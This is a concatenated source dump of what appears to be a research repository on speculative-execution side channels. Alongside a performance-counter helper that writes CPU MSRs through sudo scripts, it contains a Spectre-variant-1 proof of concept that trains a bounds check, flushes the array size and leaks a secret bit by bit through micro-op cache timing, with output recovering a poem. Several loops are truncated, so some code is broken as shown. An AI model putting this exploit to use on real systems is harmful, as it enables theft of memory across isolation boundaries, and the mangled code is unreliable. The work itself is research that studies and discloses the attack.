unsigned long cmask; 58 | unsigned int any; 59 | unsigned int edge; 60 | unsigned int inv; 61 | unsigned long msr_3f6h; 62 | unsigned long msr_pf; 63 | unsigned long msr_rsp0; 64 | unsigned long msr_rsp1; 65 | unsigned int invalid; 66 | char* description; 67 | }; 68 | struct pfc_config pfc_configs[1000] = {{0}}; 69 | size_t n_pfc_configs = 0; 70 | char pfc_config_file_content_hardcoded[1024] = "C6.01.CTR=0.MSR_PF=0x12 FRONTEND_RETIRED.L1I_MISS\n79.08 IDQ.DSB_UOPS\nAB.02 DSB2MITE_SWITCHES.PENALTY_CYCLES\n79.04 IDQ.MITE_UOPS"; 71 | 72 | 73 | struct msr_config { 74 | unsigned long rdmsr; 75 | unsigned long wrmsr[10]; 76 | unsigned long wrmsr_val[10]; 77 | size_t n_wrmsr; 78 | char* description; 79 | }; 80 | struct msr_config msr_configs[1000] = {{0}}; 81 | size_t n_msr_configs = 0; 82 | char* msr_config_file_content = NULL; 83 | unsigned long cur_rdmsr = 0; 84 | 85 | 86 | int is_Intel_CPU = 0; 87 | int is_AMD_CPU = 0; 88 | 89 | int n_programmable_counters; 90 | 91 | int cpu = -1; 92 | 93 | int verbose = 0; 94 | #define MAX_PROGRAMMABLE_COUNTERS 6 95 | // where to put measurement results 96 | int64_t measurement_results[MAX_PROGRAMMABLE_COUNTERS]; 97 | 98 | 99 | 100 | 101 | void build_cpuid_string(char* buf, unsigned int r0, unsigned int r1, unsigned int r2, unsigned int r3) { 102 | memcpy(buf, (char*)&r0, 4); 103 | memcpy(buf+4, (char*)&r1, 4); 104 | memcpy(buf+8, (char*)&r2, 4); 105 | memcpy(buf+12, (char*)&r3, 4); 106 | } 107 | 108 | int check_cpuid() { 109 | unsigned int eax, ebx, ecx, edx; 110 | __cpuid(0, eax, ebx, ecx, edx); 111 | 112 | char proc_vendor_string[17] = {0}; 113 | build_cpuid_string(proc_vendor_string, ebx, edx, ecx, 0); 114 | print_user_verbose("Vendor ID: %s\n", proc_vendor_string); 115 | 116 | char proc_brand_string[48]; 117 | __cpuid(0x80000002, eax, ebx, ecx, edx); 118 | build_cpuid_string(proc_brand_string, eax, ebx, ecx, edx); 119 | __cpuid(0x80000003, eax, ebx, ecx, edx); 120 | build_cpuid_string(proc_brand_string+16, eax, ebx, ecx, edx); 121 | __cpuid(0x80000004, eax, ebx, ecx, edx); 122 | build_cpuid_string(proc_brand_string+32, eax, ebx, ecx, edx); 123 | print_user_verbose("Brand: %s\n", proc_brand_string); 124 | 125 | __cpuid(0x01, eax, ebx, ecx, edx); 126 | unsigned int displ_family = ((eax >> 8) & 0xF); 127 | if (displ_family == 0x0F) { 128 | displ_family += ((eax >> 20) & 0xFF); 129 | } 130 | unsigned int displ_model = ((eax >> 4) & 0xF); 131 | if (displ_family == 0x06 || displ_family == 0x0F) { 132 | displ_model += ((eax >> 12) & 0xF0); 133 | } 134 | print_user_verbose("DisplayFamily_DisplayModel: %.2X_%.2XH\n", displ_family, displ_model); 135 | print_user_verbose("Stepping ID: %u\n", (eax & 0xF)); 136 | 137 | if (strcmp(proc_vendor_string, "GenuineIntel") == 0) { 138 | is_Intel_CPU = 1; 139 | 140 | __cpuid(0x0A, eax, ebx, ecx, edx); 141 | unsigned int perf_mon_ver = (eax & 0xFF); 142 | print_user_verbose("Performance monitoring version: %u\n", perf_mon_ver); 143 | if (perf_mon_ver < 2) { 144 | print_error("Error: performance monitoring version >= 2 required\n"); 145 | return 1; 146 | } 147 | 148 | unsigned int n_available_counters = ((eax >> 8) & 0xFF); 149 | print_user_verbose("Number of general-purpose performance counters: %u\n", n_available_counters); 150 | if (n_available_counters >= 4) { 151 | n_programmable_counters = 4; 152 | } else if (n_available_counters >= 2) { 153 | n_programmable_counters = 2; 154 | } else { 155 | print_error("Error: only %u programmable counters available; nanoBench requires at least 2\n", n_available_counters); 156 | return 1; 157 | } 158 | 159 | print_user_verbose("Bit widths of general-purpose performance counters: %u\n", ((eax >> 16) & 0xFF)); 160 | 161 | } else if (strcmp(proc_vendor_string, "AuthenticAMD") == 0) { 162 | is_AMD_CPU = 1; 163 | n_programmable_counters = 6; 164 | } else { 165 | print_error("Error: unsupported CPU found\n"); 166 | return 1; 167 | } 168 | 169 | return 0; 170 | } 171 | 172 | 173 | 174 | void parse_counter_configs() { 175 | n_pfc_configs = 0; 176 | 177 | char* line; 178 | 179 | size_t len = strlen(pfc_config_file_content_hardcoded); 180 | char* pfc_config_file_content = (char*)calloc(len+1, sizeof(char)); 181 | memcpy(pfc_config_file_content, pfc_config_file_content_hardcoded, len); 182 | 183 | char* next_line = pfc_config_file_content; 184 | while ((line = strsep(&next_line, "\n")) != NULL) { 185 | if (strlen(line) == 0 || line[0] == '#') { 186 | continue; 187 | } 188 | 189 | pfc_configs[n_pfc_configs].invalid = 0; 190 | 191 | char* config_str = strsep(&line, " \t"); 192 | 193 | if (line && strlen(line) > 0) { 194 | pfc_configs[n_pfc_configs].description = line; 195 | } else { 196 | pfc_configs[n_pfc_configs].description = config_str; 197 | } 198 | 199 | char buf[50]; 200 | if (strlen(config_str) >= sizeof(buf)) { 201 | print_error("config string too long: %s\n", config_str); 202 | continue; 203 | } 204 | strcpy(buf, config_str); 205 | 206 | char* tok = buf; 207 | 208 | char* evt_num = strsep(&tok, "."); 209 | nb_strtoul(evt_num, 16, &(pfc_configs[n_pfc_configs].evt_num)); 210 | 211 | if (!tok) { 212 | print_error("invalid configuration: %s\n", config_str); 213 | continue; 214 | } 215 | 216 | char* umask = strsep(&tok, "."); 217 | nb_strtoul(umask, 16, &(pfc_configs[n_pfc_configs].umask)); 218 | 219 | char* ce; 220 | while ((ce = strsep(&tok, ".")) != NULL) { 221 | if (!strcmp(ce, "AnyT")) { 222 | pfc_configs[n_pfc_configs].any = 1; 223 | } else if (!strcmp(ce, "EDG")) { 224 | pfc_configs[n_pfc_configs].edge = 1; 225 | } else if (!strcmp(ce, "INV")) { 226 | pfc_configs[n_pfc_configs].inv = 1; 227 | } else if (!strncmp(ce, "CTR=", 4)) { 228 | unsigned long counter; 229 | nb_strtoul(ce+4, 0, &counter); 230 | if (counter > n_programmable_counters) { 231 | print_error("invalid counter: %s\n", ce); 232 | continue; 233 | } 234 | size_t prev_n_pfc_configs = n_pfc_configs; 235 | while (n_pfc_configs % n_programmable_counters != counter) { 236 | pfc_configs[n_pfc_configs].invalid = 1; 237 | n_pfc_configs++; 238 | } 239 | if (prev_n_pfc_configs != n_pfc_configs) { 240 | pfc_configs[n_pfc_configs] = pfc_configs[prev_n_pfc_configs]; 241 | pfc_configs[n_pfc_configs].invalid = 0; 242 | } 243 | } else if (!strncmp(ce, "CMSK=", 5)) { 244 | nb_strtoul(ce+5, 0, &(pfc_configs[n_pfc_configs].cmask)); 245 | } else if (!strncmp(ce, "MSR_3F6H=", 9)) { 246 | nb_strtoul(ce+9, 0, &(pfc_configs[n_pfc_configs].msr_3f6h)); 247 | } else if (!strncmp(ce, "MSR_PF=", 7)) { 248 | nb_strtoul(ce+7, 0, &(pfc_configs[n_pfc_configs].msr_pf)); 249 | } else if (!strncmp(ce, "MSR_RSP0=", 9)) { 250 | nb_strtoul(ce+9, 0, &(pfc_configs[n_pfc_configs].msr_rsp0)); 251 | } else if (!strncmp(ce, "MSR_RSP1=", 9)) { 252 | nb_strtoul(ce+9, 0, &(pfc_configs[n_pfc_configs].msr_rsp1)); 253 | } 254 | } 255 | n_pfc_configs++; 256 | } 257 | } 258 | 259 | 260 | uint64_t read_value_from_cmd(char* cmd) { 261 | FILE* fp; 262 | if(!(fp = popen(cmd, "r"))){ 263 | print_error("Error reading from \"%s\"", cmd); 264 | return 0; 265 | } 266 | 267 | char buf[20]; 268 | fgets(buf, sizeof(buf), fp); 269 | pclose(fp); 270 | 271 | uint64_t val; 272 | nb_strtoul(buf, 0, &val); 273 | return val; 274 | } 275 | 276 | uint64_t read_msr(unsigned int msr) { 277 | #ifdef __KERNEL__ 278 | return native_read_msr(msr); 279 | #else 280 | char cmd[50]; 281 | snprintf(cmd, sizeof(cmd), "rdmsr -c -p%d %#x", cpu, msr); 282 | return read_value_from_cmd(cmd); 283 | #endif 284 | } 285 | 286 | void write_msr(unsigned int msr, uint64_t value) { 287 | #ifdef __KERNEL__ 288 | native_write_msr(msr, (uint32_t)value, (uint32_t)(value>>32)); 289 | #else 290 | char cmd[50]; 291 | snprintf(cmd, sizeof(cmd), "wrmsr -p%d %#x %#lx", cpu, msr, value); 292 | if (system(cmd)) { 293 | print_error("\"%s\" failed. You may need to disable Secure Boot (see README.md).", cmd); 294 | exit(1); 295 | } 296 | #endif 297 | } 298 | 299 | 300 | void configure_perf_ctrs_FF(unsigned int usr, unsigned int os) { 301 | if (is_Intel_CPU) { 302 | uint64_t global_ctrl = read_msr(MSR_IA32_PERF_GLOBAL_CTRL); 303 | global_ctrl |= ((uint64_t)7 << 32) | 15; 304 | write_msr(MSR_IA32_PERF_GLOBAL_CTRL, global_ctrl); 305 | 306 | uint64_t fixed_ctrl = read_msr(MSR_IA32_FIXED_CTR_CTRL); 307 | // disable fixed counters 308 | fixed_ctrl &= ~((1 << 12) - 1); 309 | write_msr(MSR_IA32_FIXED_CTR_CTRL, fixed_ctrl); 310 | // clear 311 | for (int i=0; i<3; i++) { 312 | write_msr(MSR_IA32_FIXED_CTR0+i, 0); 313 | } 314 | //enable fixed counters 315 | fixed_ctrl |= (os << 8) | (os << 4) | os; 316 | fixed_ctrl |= (usr << 9) | (usr << 5) | (usr << 1); 317 | write_msr(MSR_IA32_FIXED_CTR_CTRL, fixed_ctrl); 318 | } 319 | } 320 | void configure_perf_ctrs_programmable(int start, int end, unsigned int usr, unsigned int os) { 321 | if (is_Intel_CPU) { 322 | uint64_t global_ctrl = read_msr(MSR_IA32_PERF_GLOBAL_CTRL); 323 | global_ctrl |= ((uint64_t)7 << 32) | 15; 324 | write_msr(MSR_IA32_PERF_GLOBAL_CTRL, global_ctrl); 325 | 326 | for (int i=0; i= end) { 337 | continue; 338 | } 339 | 340 | // configure counter i 341 | struct pfc_config config = pfc_configs[start+i]; 342 | //printf("Configuring:%s\n", config.description); 343 | if (config.invalid) { 344 | printf("Read invalid cfg\n"); 345 | continue; 346 | } 347 | perfevtselx |= ((config.cmask & 0xFF) << 24); 348 | perfevtselx |= (config.inv << 23); 349 | perfevtselx |= (1ULL << 22); 350 | perfevtselx |= (config.any << 21); 351 | perfevtselx |= (config.edge << 18); 352 | perfevtselx |= (os << 17); 353 | perfevtselx |= (usr << 16); 354 | perfevtselx |= ((config.umask & 0xFF) << 8); 355 | perfevtselx |= (config.evt_num & 0xFF); 356 | write_msr(MSR_IA32_PERFEVTSEL0+i, perfevtselx); 357 | 358 | if (config.msr_3f6h) { 359 | write_msr(0x3f6, config.msr_3f6h); 360 | } 361 | 362 | if (config.msr_pf) { 363 | write_msr(MSR_PEBS_FRONTEND, config.msr_pf); 364 | } 365 | 366 | if (config.msr_rsp0) { 367 | write_msr(MSR_OFFCORE_RSP0, config.msr_rsp0); 368 | } 369 | if (config.msr_rsp1) { 370 | write_msr(MSR_OFFCORE_RSP1, config.msr_rsp1); 371 | } 372 | } 373 | } else { 374 | for (int i=0; i= end) { 381 | write_msr(CORE_X86_MSR_PERF_CTL + (2*i), 0); 382 | continue; 383 | } 384 | 385 | struct pfc_config config = pfc_configs[start+i]; 386 | 387 | uint64_t perf_ctl = 0; 388 | perf_ctl |= ((config.evt_num) & 0xF00) << 24; 389 | perf_ctl |= (config.evt_num) & 0xFF; 390 | perf_ctl |= ((config.umask) & 0xFF) << 8; 391 | perf_ctl |= ((config.cmask) & 0x7F) << 24; 392 | perf_ctl |= (config.inv << 23); 393 | perf_ctl |= (1ULL << 22); 394 | perf_ctl |= (config.edge << 18); 395 | perf_ctl |= (os << 17); 396 | perf_ctl |= (usr << 16); 397 | 398 | write_msr(CORE_X86_MSR_PERF_CTL + (2*i), perf_ctl); 399 | } 400 | } 401 | } 402 | 403 | 404 | size_t mmap_file(char* filename, char** content) { 405 | int fd = open(filename, O_RDONLY); 406 | size_t len = lseek(fd, 0, SEEK_END); 407 | *content = (char*)mmap(0, len, PROT_READ, MAP_PRIVATE, fd, 0); 408 | if (*content == MAP_FAILED) { 409 | fprintf(stderr, "Error reading %s\n", filename); 410 | exit(1); 411 | } 412 | close(fd); 413 | return len; 414 | } 415 | 416 | void pfc_print(){ 417 | for(size_t i = 0; i < 4; i++){ 418 | struct pfc_config config = pfc_configs[i]; 419 | int64_t val; 420 | val = pfc_mem[i]; 421 | cout << right << setw(20) << val << "\t" << config.description << endl; 422 | } 423 | cout << right << setw(20) << pfc_mem[1] + pfc_mem[3] << "\tTOTAL_UOPS" << endl; 424 | } 425 | 426 | void pfc_setup(){ 427 | int usr = 1; // count events in user-mode 428 | int os = 0; // no count events in os-mode (privileged mode) 429 | 430 | char config_file_name[16] = "config.txt"; 431 | /************************************* 432 | * Check CPUID 433 | ************************************/ 434 | if (check_cpuid()) { 435 | printf("check_cpuid() failed\n"); 436 | exit(-1); 437 | } 438 | 439 | 440 | /************************************* 441 | * Pin thread to CPU 442 | ************************************/ 443 | if (cpu == -1) { 444 | cpu = sched_getcpu(); 445 | } 446 | 447 | cpu_set_t mask; 448 | CPU_ZERO(&mask); 449 | CPU_SET(cpu, &mask); 450 | 451 | if (sched_setaffinity(0, sizeof(cpu_set_t), &mask) == -1) { 452 | fprintf(stderr, "Error: Could not pin thread to core %d\n", cpu); 453 | exit(-1); 454 | } 455 | 456 | /************************************* 457 | * Enable Performance Counting 458 | ************************************/ 459 | configure_perf_ctrs_FF(usr, os); 460 | 461 | 462 | /************************************* 463 | * Get hardcoded Configs 464 | ************************************/ 465 | parse_counter_configs(); 466 | 467 | 468 | /************************************* 469 | * Apply Configs 470 | ************************************/ 471 | if(n_pfc_configs >n_programmable_counters){ 472 | printf("More counters specified than CPU can handle: %zd > %d\n", n_pfc_configs, n_programmable_counters); 473 | exit(-1); 474 | } 475 | configure_perf_ctrs_programmable(0, n_pfc_configs, usr, os); 476 | 477 | /************************************* 478 | * Set Performance Counter Registers to zero 479 | ************************************/ 480 | pfc_mem = (int64_t*)calloc(sizeof(int64_t), MAX_PROGRAMMABLE_COUNTERS); 481 | } 482 | 483 | void pfc_reset(){ 484 | for(int i = 0; i < MAX_PROGRAMMABLE_COUNTERS; i++){ 485 | pfc_mem[i]=0; 486 | } 487 | } 488 | 489 | void inline __attribute__((always_inline)) pfc_tic(){ 490 | asm volatile( 491 | ".intel_syntax noprefix \n" 492 | "push rax \n" 493 | "lahf \n" 494 | "seto al \n" 495 | "push rax \n" 496 | "push rcx \n" 497 | "push rdx \n" 498 | "push r15 \n" 499 | "mov r15, pfc_mem \n" 500 | "mov qword ptr [r15 + 0], 0 \n" 501 | "mov qword ptr [r15 + 8], 0 \n" 502 | "mov qword ptr [r15 + 16], 0 \n" 503 | "mov qword ptr [r15 + 24], 0 \n" 504 | "mov rcx, 0 \n" 505 | "lfence; rdpmc; lfence \n" 506 | "shl rdx, 32; or rdx, rax \n" 507 | "sub [r15 + 0], rdx \n" 508 | "mov rcx, 1 \n" 509 | "lfence; rdpmc; lfence \n" 510 | "shl rdx, 32; or rdx, rax \n" 511 | "sub [r15 + 8], rdx \n" 512 | "mov rcx, 2 \n" 513 | "lfence; rdpmc; lfence \n" 514 | "shl rdx, 32; or rdx, rax \n" 515 | "sub [r15 + 16], rdx \n" 516 | "mov rcx, 3 \n" 517 | "lfence; rdpmc; lfence \n" 518 | "shl rdx, 32; or rdx, rax \n" 519 | "sub [r15 + 24], rdx \n" 520 | "lfence \n" 521 | "pop r15; lfence \n" 522 | "pop rdx; lfence \n" 523 | "pop rcx; lfence \n" 524 | "pop rax; lfence \n" 525 | "cmp al, -127; lfence \n" 526 | "sahf; lfence \n" 527 | "pop rax; \n" 528 | "lfence \n" 529 | ".att_syntax noprefix "); 530 | } 531 | 532 | void inline __attribute__((always_inline)) pfc_toc(){ 533 | 534 | asm volatile( 535 | ".intel_syntax noprefix \n" 536 | "lfence \n" 537 | "mov r15, pfc_mem \n" 538 | "mov rcx, 0 \n" 539 | "lfence; rdpmc; lfence \n" 540 | "shl rdx, 32; or rdx, rax \n" 541 | "add [r15 + 0], rdx \n" 542 | "mov rcx, 1 \n" 543 | "lfence; rdpmc; lfence \n" 544 | "shl rdx, 32; or rdx, rax \n" 545 | "add [r15 + 8], rdx \n" 546 | "mov rcx, 2 \n" 547 | "lfence; rdpmc; lfence \n" 548 | "shl rdx, 32; or rdx, rax \n" 549 | "add [r15 + 16], rdx \n" 550 | "mov rcx, 3 \n" 551 | "lfence; rdpmc; lfence \n" 552 | "shl rdx, 32; or rdx, rax \n" 553 | "add [r15 + 24], rdx \n" 554 | "lfence \n" 555 | ".att_syntax noprefix "); 556 | } 557 | 558 | 559 | int example_main(int argc, char** argv){ 560 | pfc_setup(); 561 | 562 | 563 | pfc_tic(); 564 | 565 | int a = 1; 566 | for(int i = 0; i < 1000; i ++){ 567 | a += 1; 568 | } 569 | 570 | pfc_toc(); 571 | 572 | pfc_print(); 573 | 574 | cout << "a:" << a << endl; 575 | return 0; 576 | } 577 | /* 578 | int main(int argc, char** argv){ 579 | printf("here\n"); 580 | pfc_setup(); 581 | pfc_reset(); 582 | printf("1\n"); 583 | PFC_TIC; 584 | 585 | printf("2\n"); 586 | int a = 1; 587 | for(int i = 0; i < 1000; i ++){ 588 | a += 1; 589 | } 590 | printf("3\n"); 591 | PFC_TOC; 592 | printf("4"); 593 | pfc_print(); 594 | 595 | cout << "a:" << a << endl; 596 | return 0; 597 | }*/ 598 | -------------------------------------------------------------------------------- /lfence-bypass/pfc.h: -------------------------------------------------------------------------------- 1 | #ifndef PFC_H 2 | #define PFC_H 3 | 4 | 5 | #include 6 | #include 7 | 8 | // memory for reading pfcs into 9 | extern int64_t* pfc_mem; 10 | 11 | 12 | // functions to export 13 | void pfc_setup(); 14 | 15 | void pfc_print(); 16 | 17 | void pfc_reset(); 18 | 19 | // macros for starting / stopping pfc 20 | #define PFC_TIC __asm("\ 21 | .intel_syntax noprefix \t\n\ 22 | push rax \t\n\ 23 | lahf \t\n\ 24 | seto al \t\n\ 25 | push rax \t\n\ 26 | push rcx \t\n\ 27 | push rdx \t\n\ 28 | push r15 \t\n\ 29 | mov r15, pfc_mem \t\n\ 30 | mov rcx, 0 \t\n\ 31 | lfence; rdpmc; lfence \t\n\ 32 | shl rdx, 32; or rdx, rax \t\n\ 33 | sub [r15 + 0], rdx \t\n\ 34 | mov rcx, 1 \t\n\ 35 | lfence; rdpmc; lfence \t\n\ 36 | shl rdx, 32; or rdx, rax \t\n\ 37 | sub [r15 + 8], rdx \t\n\ 38 | mov rcx, 2 \t\n\ 39 | lfence; rdpmc; lfence \t\n\ 40 | shl rdx, 32; or rdx, rax \t\n\ 41 | sub [r15 + 16], rdx \t\n\ 42 | mov rcx, 3 \t\n\ 43 | lfence; rdpmc; lfence \t\n\ 44 | shl rdx, 32; or rdx, rax \t\n\ 45 | sub [r15 + 24], rdx \t\n\ 46 | lfence \t\n\ 47 | pop r15; lfence \t\n\ 48 | pop rdx; lfence \t\n\ 49 | pop rcx; lfence \t\n\ 50 | pop rax; lfence \t\n\ 51 | cmp al, -127; lfence \t\n\ 52 | sahf; lfence \t\n\ 53 | pop rax; \t\n\ 54 | lfence \t\n\ 55 | .att_syntax noprefix \t\n"); 56 | // insert code in between 57 | #define PFC_TOC __asm ("\ 58 | .intel_syntax noprefix \t\n\ 59 | lfence \t\n\ 60 | mov r15, pfc_mem \t\n\ 61 | mov rcx, 0 \t\n\ 62 | lfence; rdpmc; lfence \t\n\ 63 | shl rdx, 32; or rdx, rax \t\n\ 64 | add [r15 + 0], rdx \t\n\ 65 | mov rcx, 1 \t\n\ 66 | lfence; rdpmc; lfence \t\n\ 67 | shl rdx, 32; or rdx, rax \t\n\ 68 | add [r15 + 8], rdx \t\n\ 69 | mov rcx, 2 \t\n\ 70 | lfence; rdpmc; lfence \t\n\ 71 | shl rdx, 32; or rdx, rax \t\n\ 72 | add [r15 + 16], rdx \t\n\ 73 | mov rcx, 3 \t\n\ 74 | lfence; rdpmc; lfence \t\n\ 75 | shl rdx, 32; or rdx, rax \t\n\ 76 | add [r15 + 24], rdx \t\n\ 77 | lfence \t\n\ 78 | .att_syntax noprefix \t\n"); 79 | 80 | 81 | 82 | #endif 83 | 84 | -------------------------------------------------------------------------------- /lfence-bypass/run: -------------------------------------------------------------------------------- 1 | bn=$(basename "$1" .cpp) 2 | sudo ./enablepmc.sh 3 | g++ "$bn".cpp pfc.cpp -o "$bn".bin -no-pie "${@:2}" && ./$bn.bin |tee $bn.out 4 | -------------------------------------------------------------------------------- /variant-1/bit-ops.h: -------------------------------------------------------------------------------- 1 | 2 | #define SetBit(A,k) ( A[(k/8)] |= (1 << (k%8)) ) 3 | #define ClearBit(A,k) ( A[(k/8)] &= ~(1 << (k%8)) ) 4 | #define TestBit(A,k) ( A[(k/8)] & (1 << (k%8)) ) 5 | -------------------------------------------------------------------------------- /variant-1/dsbspectre.cpp: -------------------------------------------------------------------------------- 1 | // begin covert copied code 2 | //#include 3 | //#include 4 | using namespace std; 5 | #include "stripes.hpp" 6 | #define METRICS_ONLY 7 | #include "bit-ops.h" 8 | #include // for timing execution 9 | #include 10 | #include 11 | #include // std::sort 12 | #include 13 | 14 | 15 | #define SPEC 16 | #define BITMANIP 17 | 18 | 19 | #define RDTSC(cycles) {__asm__ volatile("lfence");__asm__ volatile ("lfence;rdtscp;lfence;shl $32, %%rdx;or %%rdx, %%rax" : "=a" (cycles) :: "%rcx", "%rdx");} 20 | 21 | #include // memcpy 22 | 23 | typedef void(*stripeptr)(void); 24 | 25 | 26 | __attribute__ ((noinline)) 27 | __attribute__ ((aligned(1024))) 28 | void tiger_0(){ 29 | STRIPES_0; 30 | } 31 | 32 | __attribute__ ((noinline)) 33 | __attribute__ ((aligned(1024))) 34 | void tiger_0_copy(){ 35 | STRIPES_0; 36 | } 37 | 38 | 39 | 40 | #define y1 ((uint64_t)&tiger_0) 41 | #define y0 ((uint64_t)&tiger_0_copy) 42 | 43 | 44 | 45 | #include 46 | #include 47 | #include 48 | #include 49 | #ifdef _MSC_VER // ms visual c 50 | #include 51 | #pragma optimize("gt",on) 52 | #else // gcc 53 | #include 54 | #endif 55 | 56 | unsigned int array1_size = 16; 57 | uint8_t unused1[64]; 58 | uint8_t array1[160] = { 59 | 1, 60 | 2, 61 | 3, 62 | 4, 63 | 5, 64 | 6, 65 | 7, 66 | 8, 67 | 9, 68 | 10, 69 | 11, 70 | 12, 71 | 13, 72 | 14, 73 | 15, 74 | 16 75 | }; 76 | uint8_t unused2[64]; 77 | 78 | // int64_t time_tot = 0; 79 | #define SECRET_SIZE 1024 80 | char secret[SECRET_SIZE]; 81 | 82 | void populate_secret_bool(){ 83 | for(int i = 0;i=0;j--){ 142 | register uint64_t y = mask; 143 | 144 | size_t x=((j%6)-1)&~0xFFF; 145 | x=(x|(x>>16)); 146 | x=(x_train)^(x&(x_target^x_train)); 147 | 148 | 149 | _mm_clflush(&array1_size); // flush array1 size to get a speculation window while it's being reloaded 150 | 151 | 152 | #ifdef SPEC 153 | y &= victim_function(x); // condition 154 | #else 155 | y &= array1[x]; // condition 156 | #endif 157 | 158 | // y &= (0x1 << b); // extract bth bit 159 | 160 | 161 | #ifdef BITMANIP 162 | // if we wanna make sure it isn't a jz instruction transmitting the secret 163 | y = (~!(uint64_t)y)+1; // x = !cond ? 0xFFF..FFF : 0x000..000; every bit of x is inverse of cond 164 | y=(y1)^ (y & (y0^y1) ); // set x to x1 if x is all 0 else set to x1 165 | ((stripeptr)y)(); 166 | #else 167 | if(y){ 168 | tiger_0(); 169 | } else { 170 | tiger_0_copy(); 171 | } 172 | #endif 173 | 174 | } 175 | 176 | int64_t timediff = 0; 177 | 178 | timediff -= __rdtscp( (unsigned int*)&junk ); // use junk to fill 'signature register' 179 | asm volatile("lfence"); 180 | tiger_0(); 181 | timediff += __rdtscp( (unsigned int*)&junk ); // use junk to fill 'signature register' 182 | asm volatile("lfence"); 183 | timings[ib] += timediff; 184 | 185 | } 186 | 187 | } 188 | 189 | } 190 | 191 | 192 | int main(int argc, const char** argv){ 193 | victim_function(0); 194 | printf("with flags:"); 195 | #ifdef BITMANIP 196 | printf("BITMANIP,"); 197 | #endif 198 | #ifdef SPEC 199 | printf("SPEC,"); 200 | #endif 201 | printf("\n"); 202 | 203 | 204 | 205 | size_t target_x = (size_t)(secret - (char*) array1); 206 | 207 | int i, score[2]; 208 | uint8_t value[2]; 209 | int correct = 0; 210 | 211 | int timings[SECRET_SIZE*8] = {0}; // one timing for each bit, 8 bits for each char 212 | 213 | // establish threshold 214 | populate_secret_randchar(); 215 | do_transmit(timings); 216 | int threshold[8]; 217 | for(int b = 0; b < 8; ++b){ 218 | 219 | uint64_t timings_thresh[SECRET_SIZE]; 220 | for(int i = 0; i < SECRET_SIZE; ++i){ 221 | timings_thresh[i] = timings[i*8+b]; 222 | 223 | 224 | } 225 | sort(timings_thresh, timings_thresh+SECRET_SIZE); 226 | threshold[b] = timings_thresh[SECRET_SIZE / 2]; 227 | } 228 | 229 | // transmit actual secrets 230 | populate_secret_text(); 231 | do_transmit(timings); 232 | 233 | int sum = 0; 234 | char recv[SECRET_SIZE] = {0}; 235 | // compute number of correct measurements 236 | int bit_errors_0[8] = {0}; // 1-to-0 substitution errors 237 | int bit_errors_1[8] = {0}; // 0-to-1 substitution errors 238 | for(int ib = 0; ib < SECRET_SIZE*8; ++ib){ 239 | 240 | int i = ib / 8; 241 | int b = ib % 8; 242 | 243 | bool actual = secret[i] & (0x1 << b); 244 | 245 | bool measure = timings[ib] < threshold[b]; 246 | 247 | if (actual == measure){ 248 | correct ++; 249 | } 250 | 251 | // count 1 bits 252 | sum += !!(secret[i] & (0x1 << b)); 253 | 254 | // reconstruct message 255 | if (b == 0){ 256 | recv[i] = 0; 257 | } 258 | #ifndef DUMMYBIT 259 | recv[i] |= (measure << b); 260 | #else 261 | recv[i] = (measure); 262 | #endif 263 | 264 | // count errors in each bit position 265 | if(actual != measure){ 266 | if(measure == 0){ 267 | bit_errors_0[b] ++; 268 | } else { 269 | bit_errors_1[b] ++; 270 | } 271 | } 272 | } 273 | 274 | printf("Done reading:%d\n", SECRET_SIZE*8); 275 | printf("%d out of %d correct\n", correct, SECRET_SIZE*8); 276 | printf("Ratio: %f\n", (float)correct / (float)(SECRET_SIZE*8)); 277 | printf("error distribution:\n"); 278 | printf("\tpos\t1-to-0\t0-to-1\ttotal\n"); 279 | for(int b = 0; b < 8; b++){ 280 | printf( 281 | "\t%d\t%d\t%d\t%d\n", 282 | b, bit_errors_0[b], bit_errors_1[b], 283 | bit_errors_0[b] + bit_errors_1[b]); 284 | } 285 | 286 | printf("%d out of %d bits were 1\n", sum, SECRET_SIZE*8); 287 | 288 | printf("message received:\n"); 289 | for(int i = 0; iIn%iiedmo2hommows!querinw.Now witmred nay the hem|ogo-whuv}s-Sne onu ryponm with sighi~gbso 20 | 21 | 22 | 23 | message sent: The leaves were long, the grass was green, 24 | The hemlock-umbels tall and fair, 25 | And in the glade a light was seen 26 | Of stars in shadow shimmering. 27 | Tinúviel was dancing there 28 | To music of a pipe unseen, 29 | And light of stars was in her hair, 30 | And in her raiment glimmering. 31 | 32 | There Beren came from mountains cold, 33 | And lost he wandered under leaves, 34 | And where the Elven-river rolled 35 | He walked alone and sorrowing. 36 | He peered between the hemlock-leaves 37 | And saw in wonder flowers of gold 38 | Upon her mantle and her sleeves, 39 | And her hair like shadow following. 40 | 41 | Enchantment healed his weary feet 42 | That over hills were doomed to roam; 43 | And forth he hastened, strong and fleet, 44 | And grasped at moonbeams glistening. 45 | Through woven woods in Elvenhome 46 | She lightly fled on dancing feet, 47 | And left him lonely still to roam 48 | In the silent forest listening. 49 | 50 | He heard there oft the flying sound 51 | Of feet as light as linden-leaves, 52 | Or music welling underground, 53 | In hidden hollows quavering. 54 | Now withered lay the hemlock-sheaves, 55 | And one by one with sighing so 56 | 57 | 58 | 59 | Thresholds for each bit in any char: 0: 7280 60 | 1: 7152 61 | 2: 7162 62 | 3: 7274 63 | 4: 7804 64 | 5: 7886 65 | 6: 7882 66 | 7: 7886 67 | -------------------------------------------------------------------------------- /variant-1/run: -------------------------------------------------------------------------------- 1 | 2 | bn=dsbspectre 3 | g++ "$bn".cpp -o "$bn".bin "${@:2}" && ./$bn.bin |tee $bn.out 4 | -------------------------------------------------------------------------------- /variant-1/secret.txt: -------------------------------------------------------------------------------- 1 | The leaves were long, the grass was green, 2 | The hemlock-umbels tall and fair, 3 | And in the glade a light was seen 4 | Of stars in shadow shimmering. 5 | Tinúviel was dancing there 6 | To music of a pipe unseen, 7 | And light of stars was in her hair, 8 | And in her raiment glimmering. 9 | 10 | There Beren came from mountains cold, 11 | And lost he wandered under leaves, 12 | And where the Elven-river rolled 13 | He walked alone and sorrowing. 14 | He peered between the hemlock-leaves 15 | And saw in wonder flowers of gold 16 | Upon her mantle and her sleeves, 17 | And her hair like shadow following. 18 | 19 | Enchantment healed his weary feet 20 | That over hills were doomed to roam; 21 | And forth he hastened, strong and fleet, 22 | And grasped at moonbeams glistening. 23 | Through woven woods in Elvenhome 24 | She lightly fled on dancing feet, 25 | And left him lonely still to roam 26 | In the silent forest listening. 27 | 28 | He heard there oft the flying sound 29 | Of feet as light as linden-leaves, 30 | Or music welling underground, 31 | In hidden hollows quavering. 32 | Now withered lay the hemlock-sheaves, 33 | And one by one with sighing sound 34 | Whispering fell the beechen leaves 35 | In the wintry woodland wavering. 36 | 37 | He sought her ever, wandering far 38 | Where leaves of years were thickly strewn, 39 | By light of moon and ray of star 40 | In 